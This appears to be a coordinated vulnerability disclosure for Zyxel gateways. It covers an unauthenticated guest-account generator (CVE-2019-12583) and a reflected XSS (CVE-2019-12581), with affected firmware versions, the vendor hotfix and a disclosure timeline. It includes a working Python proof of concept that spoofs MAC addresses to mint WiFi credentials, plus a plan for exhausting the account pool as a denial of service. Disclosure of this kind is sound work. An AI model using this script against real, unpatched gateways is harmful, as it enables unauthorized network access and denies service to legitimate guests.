Summary
Selected Zyxel UAG, USG and ZyWall devices are vulnerable to a missing access control vulnerability. An attacker can generate valid login credentials for the local WiFi network by directly accessing the Account Generator, even if the Free Time feature is not enabled (CVE-2019-12583). Also, selected Zyxel UAG devices are vulnerable to a known Cross-Site-Scripting vulnerablity (CVE-2019-12581).
Introduction
If you are in a hotel and need WiFi access, this is what most likely will happen: You will join the hotels WiFi network and will be redirected to a Captive Portal. Of course the hotel wants to prevent anyone from using their internet connection, if they are not a guest, therefore you need to authenticate. So, you will go to the hotel desk and they will print a small voucher with your credentials (a generated username and password) for you to authenticate. Zyxel provides an “all-in-one guest access solution to fulfill hospitality needs” with their gateways (Unified Access Gateway/UAG, Unified Security Gateway/USG, some ZyWall devices), as they claim on their website. These gateways are the core of a network. They are connected directly to the internet, act as a router, manage connected access points, can be an access point themself, etc. You can even connect a special receipt printer to the gateway to dynamically generate guest account credentials on a press of a button.
Missing Access Control in Account Generator (CVE-2019-12583)
There is a feature called “Free Time”. If “Free Time” is enabled (by default it is not), there is a link below the login form where you can obtain a free account. This link leads to a form where you can choose your desired profile, because the gateway does not only support free, but also payed accounts. After submitting that form you will see your login credentials and can log into the WiFi. So how can you create an account on your own? Let’s see how the credentials for a free account are generated in detail:
- Click on “Without an account? Click here to get a free account” link (
http://GATEWAY/free_time_transaction.cgi?status=initial&mp_idx=0
)
- HTTP POST to
http://GATEWAY/free_time_transaction.cgi
with what service plan has been chosen - HTTP Redirect to
http://GATEWAY/free_time.cgi?mp_idx=0
- JavaScript Redirect to
http://GATEWAY/free_time_redirect.cgi?u=[userID]&smsOnly=0
But what if the “Free Time” feature is disabled? Then there is no link to click on at the main page.
So I played around a bit and found out that you can directly access the account generator at http://GATEWAY/free_time.cgi
, even if it is disabled. It is trivial - even for inexperienced users - to access the account generator to generate a free account.
The preferences regarding the account generator (Free Time Period, Reset Time, etc.) set in the admin panel still apply, even though the feature is disabled. Most important is the Free Time Period, which is the time a free account is valid. The default setting is 30 minutes, but can be longer or shorter depending on what the administrator has set it to.
Impact
With this vulnerability an attacker is capable of illicitly gaining access to the WiFi network. Depending on the network settings the attacker is able to (ab)use the internet connection or use this vulnerability as an entry point for further attacks, if - for instance - Layer 2 isolation is disabled.
But there is also the risk of a Denial of Service attack: The gateway has a maximum number of accounts that can be allocated. Let’s take the UAG2100 as an example: The UAG2100 has space for 1000 dynamic accounts. Can we exhaust this account generator by creating many free accounts and hereby preventing legitimate users from creating a free account?
Exploitation
Unfortunately the free account generator is limited to one account per day per MAC address (by default, see manual, chapter 27). But we can work around this by simply spoofing our MAC address with ifconfig
in every request.
Here’s a little PoC that sets a random MAC address for a given interface and requests a dynamic account:
#!/usr/bin/python3.7
import subprocess, random, re, json
from urllib.request import Request, urlopen
from urllib.error import URLError
uag = "10.182.32.1"
interface = "wlan0"
print("Setting random MAC...")
randomMAC = "24:05:0f:%02x:%02x:%02x" % (random.randint(0x00, 0xff) , random.randint(0x00, 0xff), random.randint(0x00, 0xff))
subprocess.call(["ifconfig", interface, "down"])
subprocess.call(["ifconfig", interface, "hw", "ether", randomMAC])
subprocess.call(["ifconfig", interface, "up"])
print("Random MAC set!")
for i in range(0, 100):
try:
response = urlopen("http://" + uag + "/free_time.cgi").read().decode("UTF-8")
loginPath = re.findall('\/.*0', response)[0]
break
except URLError:
print("Network not up yet...")
pass
except IndexError:
print("Could not find login URL. The Gateway may be patched. Exiting.")
exit()
response = urlopen("http://" + uag + loginPath).read().decode("UTF-8")
userInfo = json.loads(re.findall('{.*}', response)[0])
print("Generated user '%s' with password '%s', valid for %s" % (userInfo['username'], userInfo['password'], userInfo['time period']))
root@kali:~/Desktop# ./zyxel.py
Setting random MAC...
Random MAC set!
Network not up yet...
Network not up yet...
Network not up yet...
Generated user 'q82yc9' with password '6armyq', valid for 30 minutes
root@kali:~/Desktop# ./zyxel.py
Setting random MAC...
Random MAC set!
Network not up yet...
Network not up yet...
Network not up yet...
Generated user 'wfp5fx' with password '3gu65w', valid for 30 minutes
root@kali:~/Desktop# ./zyxel.py
Setting random MAC...
Random MAC set!
Network not up yet...
Network not up yet...
Network not up yet...
Generated user 'f5xa25' with password '9mn7un', valid for 30 minutes
Each execution takes about 15 seconds per account. The slowest part in this script is waiting for the network manager to connect back to the WiFi.
With 15 seconds per account we can estimate that the account pool of 1000 devices (UAG2100) is exhausted within 15*1000/60/60 = 4,16
hours. The speed of this attack scales linearly with the number of network interfaces used.
As we only generate accounts and are not using them, it is important that we exhaust the account pool before our generated accounts are deleted automatically: The default deletion time of unused accounts is after 24 hours, but this value can be set between 30 minutes and 365 days.
After the account pool is exhausted, no more dynamic accounts can be generated, for example with receipt printer or by a legitimate user using the Free Time feature: The device denials its service!
Demo: Account Generator Vulnerability
Reflected Cross-Site-Scripting (CVE-2019-12581)
While working on the first vulnerability, I came across another one: A reflected XSS in the parameter err_msg
of http://GATEWAY/free_time_failed.cgi
:
This site is usually used to let a user know that the UAG is unable to handle the free account request, e.g. due to the fact that this devices` MAC address has already requested an account. This XSS allows HTML or JavaScript injection, because the affected parameter has not been sanitized at all.
A few days later, when I read through Zyxels Security Advisories, I noticed one from late April 2018 regarding a “reflected cross-site scripting vulnerability of ZyWALL/USG devices”. As it turns out, the same XSS vulnerability has already been discovered (see advisory by T. Wever, SEC Consult Vulnerability Lab), confirmed and fixed by Zyxel back then, but only on ZyWall & USG devices. Even though the UAG and ZyWall devices seem to share the same codebase regarding the “Free Time” feature, Zyxel had only patched the XSS vulnerability in ZyWall devices. The UAG devices were still vulnerable!
Vulnerable Devices and Versions
Device | Vulnerability | Firmware Version |
---|---|---|
UAG2100 | Account Generator (CVE-2019-12583) & XSS (CVE-2019-12581) | 4.18(AAIZ.1)C0 and earlier |
UAG4100 | Account Generator (CVE-2019-12583) & XSS (CVE-2019-12581) | 4.18(AATD.1)C0 and earlier |
UAG5100 | Account Generator (CVE-2019-12583) & XSS (CVE-2019-12581) | 4.18(AAPN.1)C0 and earlier |
USG110 | Account Generator (CVE-2019-12583) | 4.33(AAPH.0)C0 and earlier |
USG210 | Account Generator (CVE-2019-12583) | 4.33(AAPI.0)C0 and earlier |
USG310 | Account Generator (CVE-2019-12583) | 4.33(AAPJ.0)C0 and earlier |
USG1100 | Account Generator (CVE-2019-12583) | 4.33(AAPK.0)C0 and earlier |
USG1900 | Account Generator (CVE-2019-12583) | 4.33(AAPL.0)C0 and earlier |
USG2200-VPN | Account Generator (CVE-2019-12583) | 4.31(ABAE.0)C0 and earlier |
ZyWall VPN100 | Account Generator (CVE-2019-12583) | 10.02(ABFV.0)C0 and earlier |
ZyWall VPN300 | Account Generator (CVE-2019-12583) | 10.02(ABFC.0)C0 and earlier |
ZyWall 110 | Account Generator (CVE-2019-12583) | 4.33(AAAA.0)C0 and earlier |
ZyWall 310 | Account Generator (CVE-2019-12583) | 4.33(AAAB.0)C0 and earlier |
ZyWall 1100 | Account Generator (CVE-2019-12583) | 4.33(AAAC.0)C0 and earlier |
Fix
A Hotfix has been release by Zyxel and is available at Zyxels Security Advisory and should be installed immediately.
Timeline
- 01.05.19 - reported both vulnerabilities
- 02.05.19 - informed Zyxel that models USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWall VPN50, ZyWall VPN100, ZyWall VPN300, ZyWall 110, ZyWall 310 and ZyWall 1100 are also affected by the first vulnerability
- 02.05.19 - first reponse from vendor
- 17.05.19 - vendor confirmed both vulnerabilities and expects the hotfix to be ready within two weeks
- 28.05.19 - notified vendor that USG20-VPN, USG20W-VPN, USG40, USG40W, USG60 and USG60W may be vulnerable too
- 29.05.19 - vendor confirmed that USG20-VPN, USG20W-VPN, USG40, USG40W, USG60 and USG60W are vulnerable too
- 29.05.19 - vendor corrected that USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W and ZyWall VPN50 are not vulnerable due to missing Free Time feature.
- 03.06.19 - CVEs assigned
- 04.06.19 - vendor provided hotfixes for testing
- 10.06.19 - confirmed that both vulnerabilities are fixed in the provided hotfixes (tested on UAG5100)
- 27.06.19 - release of security advisory